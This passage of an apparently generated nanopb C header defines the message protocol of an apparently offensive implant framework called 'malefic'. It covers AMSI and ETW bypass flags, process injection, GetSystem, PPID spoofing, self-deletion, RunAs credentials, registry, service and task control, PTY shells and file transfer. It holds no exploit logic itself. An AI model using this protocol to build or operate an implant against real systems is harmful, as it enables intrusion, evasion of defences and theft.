malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero, malefic_Service_init_zero}} +#define malefic_WmiQueryRequest_init_zero {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_zero {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_zero {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_zero {{0, {0}}, 0} +#define malefic_Inject_init_zero {{0, {0}}, 0} +#define malefic_Pipe_init_zero {"", "", {0, {0}}} +#define malefic_PipeRequest_init_zero {"", false, malefic_Pipe_init_zero} +#define malefic_Switch_init_zero {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_zero {0, ""} +#define malefic_TaskInfo_init_zero {0, 0, 0, 0} +#define malefic_TaskListResponse_init_zero {0, {malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero, malefic_TaskInfo_init_zero}} +#define malefic_FFmpegRequest_init_zero {"", "", "", "", ""} +#define malefic_PtyRequest_init_zero {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_zero {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_zero {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} + +/* Field tags (for use in manual encoding/decoding) */ +#define malefic_Ping_nonce_tag 1 +#define malefic_Secure_enable_tag 1 +#define malefic_Secure_key_tag 2 +#define malefic_Secure_type_tag 3 +#define malefic_Secure_public_key_tag 4 +#define malefic_KeyExchangeRequest_public_key_tag 1 +#define malefic_KeyExchangeRequest_signature_tag 2 +#define malefic_KeyExchangeRequest_timestamp_tag 3 +#define malefic_KeyExchangeRequest_nonce_tag 4 +#define malefic_KeyExchangeResponse_public_key_tag 1 +#define malefic_Init_data_tag 1 +#define malefic_Suicide_type_tag 1 +#define malefic_Suicide_timestamp_tag 2 +#define malefic_Request_name_tag 1 +#define malefic_Request_input_tag 2 +#define malefic_Request_args_tag 3 +#define malefic_Request_params_tag 4 +#define malefic_Request_bin_tag 5 +#define malefic_Request_ParamsEntry_key_tag 1 +#define malefic_Request_ParamsEntry_value_tag 2 +#define malefic_Response_output_tag 1 +#define malefic_Response_error_tag 2 +#define malefic_Response_kv_tag 3 +#define malefic_Response_array_tag 4 +#define malefic_Response_KvEntry_key_tag 1 +#define malefic_Response_KvEntry_value_tag 2 +#define malefic_BypassRequest_ETW_tag 1 +#define malefic_BypassRequest_AMSI_tag 2 +#define malefic_BypassRequest_block_dll_tag 3 +#define malefic_NetInterface_index_tag 1 +#define malefic_NetInterface_name_tag 2 +#define malefic_NetInterface_mac_tag 3 +#define malefic_NetInterface_ip_addresses_tag 4 +#define malefic_SockTabEntry_local_addr_tag 1 +#define malefic_SockTabEntry_remote_addr_tag 2 +#define malefic_SockTabEntry_skState_tag 3 +#define malefic_SockTabEntry_pid_tag 5 +#define malefic_SockTabEntry_protocol_tag 6 +#define malefic_NetstatResponse_socks_tag 1 +#define malefic_Block_block_id_tag 1 +#define malefic_Block_content_tag 2 +#define malefic_Block_end_tag 3 +#define malefic_ACK_id_tag 1 +#define malefic_ACK_success_tag 2 +#define malefic_ACK_end_tag 3 +#define malefic_Os_name_tag 1 +#define malefic_Os_version_tag 2 +#define malefic_Os_release_tag 3 +#define malefic_Os_arch_tag 4 +#define malefic_Os_username_tag 5 +#define malefic_Os_hostname_tag 6 +#define malefic_Os_locale_tag 7 +#define malefic_Os_clr_version_tag 8 +#define malefic_Process_name_tag 1 +#define malefic_Process_pid_tag 2 +#define malefic_Process_ppid_tag 3 +#define malefic_Process_owner_tag 4 +#define malefic_Process_arch_tag 5 +#define malefic_Process_path_tag 6 +#define malefic_Process_args_tag 7 +#define malefic_Process_uid_tag 8 +#define malefic_SysInfo_filepath_tag 1 +#define malefic_SysInfo_workdir_tag 2 +#define malefic_SysInfo_is_privilege_tag 3 +#define malefic_SysInfo_os_tag 11 +#define malefic_SysInfo_process_tag 12 +#define malefic_Timer_expression_tag 1 +#define malefic_Timer_jitter_tag 2 +#define malefic_FileInfo_Name_tag 1 +#define malefic_FileInfo_IsDir_tag 2 +#define malefic_FileInfo_Size_tag 3 +#define malefic_FileInfo_ModTime_tag 4 +#define malefic_FileInfo_Mode_tag 5 +#define malefic_FileInfo_Link_tag 6 +#define malefic_SacrificeProcess_hidden_tag 1 +#define malefic_SacrificeProcess_block_dll_tag 2 +#define malefic_SacrificeProcess_etw_tag 3 +#define malefic_SacrificeProcess_ppid_tag 4 +#define malefic_SacrificeProcess_argue_tag 5 +#define malefic_LsResponse_Path_tag 1 +#define malefic_LsResponse_Exists_tag 2 +#define malefic_LsResponse_Files_tag 3 +#define malefic_DriveInfo_path_tag 1 +#define malefic_DriveInfo_drive_type_tag 2 +#define malefic_DriveInfo_total_size_tag 3 +#define malefic_DriveInfo_free_size_tag 4 +#define malefic_DriveInfo_file_system_tag 5 +#define malefic_EnumDriversResponse_drives_tag 1 +#define malefic_PsResponse_processes_tag 1 +#define malefic_ExecRequest_path_tag 1 +#define malefic_ExecRequest_args_tag 2 +#define malefic_ExecRequest_output_tag 3 +#define malefic_ExecRequest_singleton_tag 4 +#define malefic_ExecRequest_realtime_tag 5 +#define malefic_ExecRequest_ppid_tag 10 +#define malefic_ExecResponse_status_code_tag 1 +#define malefic_ExecResponse_stdout_tag 2 +#define malefic_ExecResponse_stderr_tag 3 +#define malefic_ExecResponse_pid_tag 4 +#define malefic_ExecResponse_end_tag 5 +#define malefic_BinaryResponse_data_tag 1 +#define malefic_BinaryResponse_message_tag 2 +#define malefic_BinaryResponse_status_tag 3 +#define malefic_BinaryResponse_err_tag 4 +#define malefic_Modules_modules_tag 1 +#define malefic_Addon_name_tag 1 +#define malefic_Addon_type_tag 2 +#define malefic_Addon_depend_tag 3 +#define malefic_Register_name_tag 1 +#define malefic_Register_proxy_tag 2 +#define malefic_Register_module_tag 3 +#define malefic_Register_addons_tag 4 +#define malefic_Register_timer_tag 5 +#define malefic_Register_sysinfo_tag 11 +#define malefic_Register_secure_tag 12 +#define malefic_Addons_addons_tag 1 +#define malefic_LoadModule_bundle_tag 1 +#define malefic_LoadModule_bin_tag 2 +#define malefic_LoadAddon_name_tag 1 +#define malefic_LoadAddon_type_tag 2 +#define malefic_LoadAddon_depend_tag 3 +#define malefic_LoadAddon_bin_tag 4 +#define malefic_ExecuteBinary_name_tag 1 +#define malefic_ExecuteBinary_bin_tag 2 +#define malefic_ExecuteBinary_param_tag 3 +#define malefic_ExecuteBinary_type_tag 4 +#define malefic_ExecuteBinary_process_name_tag 5 +#define malefic_ExecuteBinary_args_tag 6 +#define malefic_ExecuteBinary_entry_point_tag 7 +#define malefic_ExecuteBinary_data_tag 8 +#define malefic_ExecuteBinary_output_tag 9 +#define malefic_ExecuteBinary_arch_tag 10 +#define malefic_ExecuteBinary_timeout_tag 11 +#define malefic_ExecuteBinary_sacrifice_tag 12 +#define malefic_ExecuteBinary_path_tag 13 +#define malefic_ExecuteBinary_context_tag 14 +#define malefic_ExecuteBinary_delay_tag 15 +#define malefic_ExecuteAddon_addon_tag 1 +#define malefic_ExecuteAddon_execute_binary_tag 2 +#define malefic_ExecuteBinary_ParamEntry_key_tag 1 +#define malefic_ExecuteBinary_ParamEntry_value_tag 2 +#define malefic_ExecuteCommand_command_tag 1 +#define malefic_ExecuteCommand_sacrifice_tag 2 +#define malefic_UploadRequest_name_tag 1 +#define malefic_UploadRequest_target_tag 2 +#define malefic_UploadRequest_priv_tag 3 +#define malefic_UploadRequest_data_tag 4 +#define malefic_UploadRequest_hidden_tag 5 +#define malefic_UploadRequest_override_tag 6 +#define malefic_DownloadRequest_path_tag 1 +#define malefic_DownloadRequest_name_tag 2 +#define malefic_DownloadRequest_buffer_size_tag 3 +#define malefic_DownloadRequest_dir_tag 4 +#define malefic_DownloadRequest_cur_tag 5 +#define malefic_DownloadResponse_checksum_tag 1 +#define malefic_DownloadResponse_size_tag 2 +#define malefic_DownloadResponse_cur_tag 3 +#define malefic_DownloadResponse_content_tag 4 +#define malefic_CurlRequest_url_tag 1 +#define malefic_CurlRequest_timeout_tag 2 +#define malefic_CurlRequest_method_tag 3 +#define malefic_CurlRequest_body_tag 4 +#define malefic_CurlRequest_header_tag 5 +#define malefic_CurlRequest_hostname_tag 6 +#define malefic_CurlRequest_HeaderEntry_key_tag 1 +#define malefic_CurlRequest_HeaderEntry_value_tag 2 +#define malefic_ChownRequest_path_tag 1 +#define malefic_ChownRequest_uid_tag 2 +#define malefic_ChownRequest_gid_tag 3 +#define malefic_ChownRequest_recursive_tag 4 +#define malefic_IfconfigResponse_net_interfaces_tag 1 +#define malefic_Registry_hive_tag 1 +#define malefic_Registry_path_tag 2 +#define malefic_Registry_key_tag 3 +#define malefic_RegistryRequest_type_tag 1 +#define malefic_RegistryRequest_registry_tag 2 +#define malefic_RegistryWriteRequest_hive_tag 1 +#define malefic_RegistryWriteRequest_path_tag 2 +#define malefic_RegistryWriteRequest_key_tag 3 +#define malefic_RegistryWriteRequest_string_value_tag 5 +#define malefic_RegistryWriteRequest_byte_value_tag 6 +#define malefic_RegistryWriteRequest_dword_value_tag 7 +#define malefic_RegistryWriteRequest_qword_value_tag 8 +#define malefic_RegistryWriteRequest_regtype_tag 10 +#define malefic_TaskSchedule_name_tag 1 +#define malefic_TaskSchedule_path_tag 2 +#define malefic_TaskSchedule_executable_path_tag 3 +#define malefic_TaskSchedule_trigger_type_tag 4 +#define malefic_TaskSchedule_start_boundary_tag 5 +#define malefic_TaskSchedule_description_tag 6 +#define malefic_TaskSchedule_enabled_tag 7 +#define malefic_TaskSchedule_last_run_time_tag 8 +#define malefic_TaskSchedule_next_run_time_tag 9 +#define malefic_TaskScheduleRequest_type_tag 1 +#define malefic_TaskScheduleRequest_taskschd_tag 2 +#define malefic_TaskSchedulesResponse_schedules_tag 1 +#define malefic_ServiceConfig_name_tag 1 +#define malefic_ServiceConfig_display_name_tag 2 +#define malefic_ServiceConfig_executable_path_tag 3 +#define malefic_ServiceConfig_start_type_tag 4 +#define malefic_ServiceConfig_error_control_tag 5 +#define malefic_ServiceConfig_account_name_tag 6 +#define malefic_ServiceRequest_type_tag 1 +#define malefic_ServiceRequest_service_tag 2 +#define malefic_ServiceStatus_current_state_tag 1 +#define malefic_ServiceStatus_process_id_tag 2 +#define malefic_ServiceStatus_exit_code_tag 3 +#define malefic_ServiceStatus_checkpoint_tag 4 +#define malefic_ServiceStatus_wait_hint_tag 5 +#define malefic_Service_config_tag 1 +#define malefic_Service_status_tag 2 +#define malefic_ServicesResponse_services_tag 1 +#define malefic_WmiQueryRequest_namespace_tag 1 +#define malefic_WmiQueryRequest_args_tag 2 +#define malefic_WmiMethodRequest_namespace_tag 1 +#define malefic_WmiMethodRequest_class_name_tag 2 +#define malefic_WmiMethodRequest_method_name_tag 3 +#define malefic_WmiMethodRequest_params_tag 4 +#define malefic_WmiMethodRequest_ParamsEntry_key_tag 1 +#define malefic_WmiMethodRequest_ParamsEntry_value_tag 2 +#define malefic_RunAsRequest_username_tag 1 +#define malefic_RunAsRequest_domain_tag 2 +#define malefic_RunAsRequest_password_tag 3 +#define malefic_RunAsRequest_program_tag 4 +#define malefic_RunAsRequest_args_tag 5 +#define malefic_RunAsRequest_use_profile_tag 6 +#define malefic_RunAsRequest_netonly_tag 7 +#define malefic_RunAsRequest_use_env_tag 8 +#define malefic_GetSystem_bin_tag 1 +#define malefic_GetSystem_pid_tag 2 +#define malefic_Inject_bin_tag 1 +#define malefic_Inject_pid_tag 2 +#define malefic_Pipe_name_tag 1 +#define malefic_Pipe_target_tag 2 +#define malefic_Pipe_data_tag 4 +#define malefic_PipeRequest_type_tag 1 +#define malefic_PipeRequest_pipe_tag 2 +#define malefic_Switch_urls_tag 1 +#define malefic_TaskCtrl_task_id_tag 1 +#define malefic_TaskCtrl_op_tag 2 +#define malefic_TaskInfo_task_id_tag 1 +#define malefic_TaskInfo_last_tag 2 +#define malefic_TaskInfo_recv_count_tag 3 +#define malefic_TaskInfo_send_count_tag 4 +#define malefic_TaskListResponse_tasks_tag 1 +#define malefic_FFmpegRequest_action_tag 1 +#define malefic_FFmpegRequest_device_name_tag 2 +#define malefic_FFmpegRequest_output_format_tag 3 +#define malefic_FFmpegRequest_output_path_tag 4 +#define malefic_FFmpegRequest_time_tag 5 +#define malefic_PtyRequest_type_tag 1 +#define malefic_PtyRequest_session_id_tag 2 +#define malefic_PtyRequest_shell_tag 3 +#define malefic_PtyRequest_cols_tag 4 +#define malefic_PtyRequest_rows_tag 5 +#define malefic_PtyRequest_input_data_tag 6 +#define malefic_PtyRequest_input_text_tag 7 +#define malefic_PtyRequest_params_tag 8 +#define malefic_PtyRequest_ParamsEntry_key_tag 1 +#define malefic_PtyRequest_ParamsEntry_value_tag 2 +#define malefic_PtyResponse_session_id_tag 1 +#define malefic_PtyResponse_output_data_tag 2 +#define malefic_PtyResponse_output_text_tag 3 +#define malefic_PtyResponse_error_tag 4 +#define malefic_PtyResponse_session_active_tag 5 +#define malefic_PtyResponse_active_sessions_tag 6 +#define malefic_PtyResponse_metadata_tag 7 +#define malefic_PtyResponse_MetadataEntry_key_tag 1 +#define malefic_PtyResponse_MetadataEntry_value_tag 2 +#define malefic_CommonBody_name_tag 1 +#define malefic_CommonBody_u32_array_tag 2 +#define malefic_CommonBody_u64_array_tag 4 +#define malefic_CommonBody_bool_array_tag 6 +#define malefic_CommonBody_string_array_tag 8 +#define malefic_CommonBody_bytes_array_tag 10 + +/* Struct field encoding specification for nanopb */ +#define malefic_Ping_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, nonce, 1) +#define malefic_Ping_CALLBACK NULL +#define malefic_Ping_DEFAULT NULL + +#define malefic_Register_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, proxy, 2) \ +X(a, STATIC, REPEATED, STRING, module, 3) \ +X(a, STATIC, REPEATED, MESSAGE, addons, 4) \ +X(a, STATIC, OPTIONAL, MESSAGE, timer, 5) \ +X(a, STATIC, OPTIONAL, MESSAGE, sysinfo, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, secure, 12) +#define malefic_Register_CALLBACK NULL +#define malefic_Register_DEFAULT NULL +#define malefic_Register_addons_MSGTYPE malefic_Addon +#define malefic_Register_timer_MSGTYPE malefic_Timer +#define malefic_Register_sysinfo_MSGTYPE malefic_SysInfo +#define malefic_Register_secure_MSGTYPE malefic_Secure + +#define malefic_Secure_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, enable, 1) \ +X(a, STATIC, SINGULAR, STRING, key, 2) \ +X(a, STATIC, SINGULAR, STRING, type, 3) \ +X(a, STATIC, SINGULAR, STRING, public_key, 4) +#define malefic_Secure_CALLBACK NULL +#define malefic_Secure_DEFAULT NULL + +#define malefic_KeyExchangeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) \ +X(a, STATIC, SINGULAR, BYTES, signature, 2) \ +X(a, STATIC, SINGULAR, UINT64, timestamp, 3) \ +X(a, STATIC, SINGULAR, STRING, nonce, 4) +#define malefic_KeyExchangeRequest_CALLBACK NULL +#define malefic_KeyExchangeRequest_DEFAULT NULL + +#define malefic_KeyExchangeResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, public_key, 1) +#define malefic_KeyExchangeResponse_CALLBACK NULL +#define malefic_KeyExchangeResponse_DEFAULT NULL + +#define malefic_Init_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, data, 1) +#define malefic_Init_CALLBACK NULL +#define malefic_Init_DEFAULT NULL + +#define malefic_SysInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, filepath, 1) \ +X(a, STATIC, SINGULAR, STRING, workdir, 2) \ +X(a, STATIC, SINGULAR, BOOL, is_privilege, 3) \ +X(a, STATIC, OPTIONAL, MESSAGE, os, 11) \ +X(a, STATIC, OPTIONAL, MESSAGE, process, 12) +#define malefic_SysInfo_CALLBACK NULL +#define malefic_SysInfo_DEFAULT NULL +#define malefic_SysInfo_os_MSGTYPE malefic_Os +#define malefic_SysInfo_process_MSGTYPE malefic_Process + +#define malefic_Suicide_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, type, 1) \ +X(a, STATIC, SINGULAR, INT64, timestamp, 2) +#define malefic_Suicide_CALLBACK NULL +#define malefic_Suicide_DEFAULT NULL + +#define malefic_Request_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, input, 2) \ +X(a, STATIC, REPEATED, STRING, args, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) \ +X(a, STATIC, SINGULAR, BYTES, bin, 5) +#define malefic_Request_CALLBACK pb_default_field_callback +#define malefic_Request_DEFAULT NULL +#define malefic_Request_params_MSGTYPE malefic_Request_ParamsEntry + +#define malefic_Request_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Request_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_Request_ParamsEntry_DEFAULT NULL + +#define malefic_Response_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, output, 1) \ +X(a, STATIC, SINGULAR, STRING, error, 2) \ +X(a, CALLBACK, REPEATED, MESSAGE, kv, 3) \ +X(a, STATIC, REPEATED, STRING, array, 4) +#define malefic_Response_CALLBACK pb_default_field_callback +#define malefic_Response_DEFAULT NULL +#define malefic_Response_kv_MSGTYPE malefic_Response_KvEntry + +#define malefic_Response_KvEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_Response_KvEntry_CALLBACK pb_default_field_callback +#define malefic_Response_KvEntry_DEFAULT NULL + +#define malefic_BypassRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, ETW, 1) \ +X(a, STATIC, SINGULAR, BOOL, AMSI, 2) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 3) +#define malefic_BypassRequest_CALLBACK NULL +#define malefic_BypassRequest_DEFAULT NULL + +#define malefic_NetInterface_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, INT32, index, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, STRING, mac, 3) \ +X(a, STATIC, REPEATED, STRING, ip_addresses, 4) +#define malefic_NetInterface_CALLBACK NULL +#define malefic_NetInterface_DEFAULT NULL + +#define malefic_SockTabEntry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, local_addr, 1) \ +X(a, STATIC, SINGULAR, STRING, remote_addr, 2) \ +X(a, STATIC, SINGULAR, STRING, skState, 3) \ +X(a, STATIC, SINGULAR, STRING, pid, 5) \ +X(a, STATIC, SINGULAR, STRING, protocol, 6) +#define malefic_SockTabEntry_CALLBACK NULL +#define malefic_SockTabEntry_DEFAULT NULL + +#define malefic_NetstatResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, socks, 1) +#define malefic_NetstatResponse_CALLBACK NULL +#define malefic_NetstatResponse_DEFAULT NULL +#define malefic_NetstatResponse_socks_MSGTYPE malefic_SockTabEntry + +#define malefic_Block_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, block_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, content, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_Block_CALLBACK NULL +#define malefic_Block_DEFAULT NULL + +#define malefic_ACK_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, id, 1) \ +X(a, STATIC, SINGULAR, BOOL, success, 2) \ +X(a, STATIC, SINGULAR, BOOL, end, 3) +#define malefic_ACK_CALLBACK NULL +#define malefic_ACK_DEFAULT NULL + +#define malefic_Os_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, version, 2) \ +X(a, STATIC, SINGULAR, STRING, release, 3) \ +X(a, STATIC, SINGULAR, STRING, arch, 4) \ +X(a, STATIC, SINGULAR, STRING, username, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) \ +X(a, STATIC, SINGULAR, STRING, locale, 7) \ +X(a, STATIC, REPEATED, STRING, clr_version, 8) +#define malefic_Os_CALLBACK NULL +#define malefic_Os_DEFAULT NULL + +#define malefic_Process_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 3) \ +X(a, STATIC, SINGULAR, STRING, owner, 4) \ +X(a, STATIC, SINGULAR, STRING, arch, 5) \ +X(a, STATIC, SINGULAR, STRING, path, 6) \ +X(a, STATIC, SINGULAR, STRING, args, 7) \ +X(a, STATIC, SINGULAR, STRING, uid, 8) +#define malefic_Process_CALLBACK NULL +#define malefic_Process_DEFAULT NULL + +#define malefic_Timer_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, expression, 1) \ +X(a, STATIC, SINGULAR, DOUBLE, jitter, 2) +#define malefic_Timer_CALLBACK NULL +#define malefic_Timer_DEFAULT NULL + +#define malefic_FileInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Name, 1) \ +X(a, STATIC, SINGULAR, BOOL, IsDir, 2) \ +X(a, STATIC, SINGULAR, UINT64, Size, 3) \ +X(a, STATIC, SINGULAR, INT64, ModTime, 4) \ +X(a, STATIC, SINGULAR, UINT32, Mode, 5) \ +X(a, STATIC, SINGULAR, STRING, Link, 6) +#define malefic_FileInfo_CALLBACK NULL +#define malefic_FileInfo_DEFAULT NULL + +#define malefic_SacrificeProcess_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 1) \ +X(a, STATIC, SINGULAR, BOOL, block_dll, 2) \ +X(a, STATIC, SINGULAR, BOOL, etw, 3) \ +X(a, STATIC, SINGULAR, UINT32, ppid, 4) \ +X(a, STATIC, SINGULAR, STRING, argue, 5) +#define malefic_SacrificeProcess_CALLBACK NULL +#define malefic_SacrificeProcess_DEFAULT NULL + +#define malefic_LsResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, Path, 1) \ +X(a, STATIC, SINGULAR, BOOL, Exists, 2) \ +X(a, STATIC, REPEATED, MESSAGE, Files, 3) +#define malefic_LsResponse_CALLBACK NULL +#define malefic_LsResponse_DEFAULT NULL +#define malefic_LsResponse_Files_MSGTYPE malefic_FileInfo + +#define malefic_DriveInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, drive_type, 2) \ +X(a, STATIC, SINGULAR, UINT64, total_size, 3) \ +X(a, STATIC, SINGULAR, UINT64, free_size, 4) \ +X(a, STATIC, SINGULAR, STRING, file_system, 5) +#define malefic_DriveInfo_CALLBACK NULL +#define malefic_DriveInfo_DEFAULT NULL + +#define malefic_EnumDriversResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, drives, 1) +#define malefic_EnumDriversResponse_CALLBACK NULL +#define malefic_EnumDriversResponse_DEFAULT NULL +#define malefic_EnumDriversResponse_drives_MSGTYPE malefic_DriveInfo + +#define malefic_PsResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, processes, 1) +#define malefic_PsResponse_CALLBACK NULL +#define malefic_PsResponse_DEFAULT NULL +#define malefic_PsResponse_processes_MSGTYPE malefic_Process + +#define 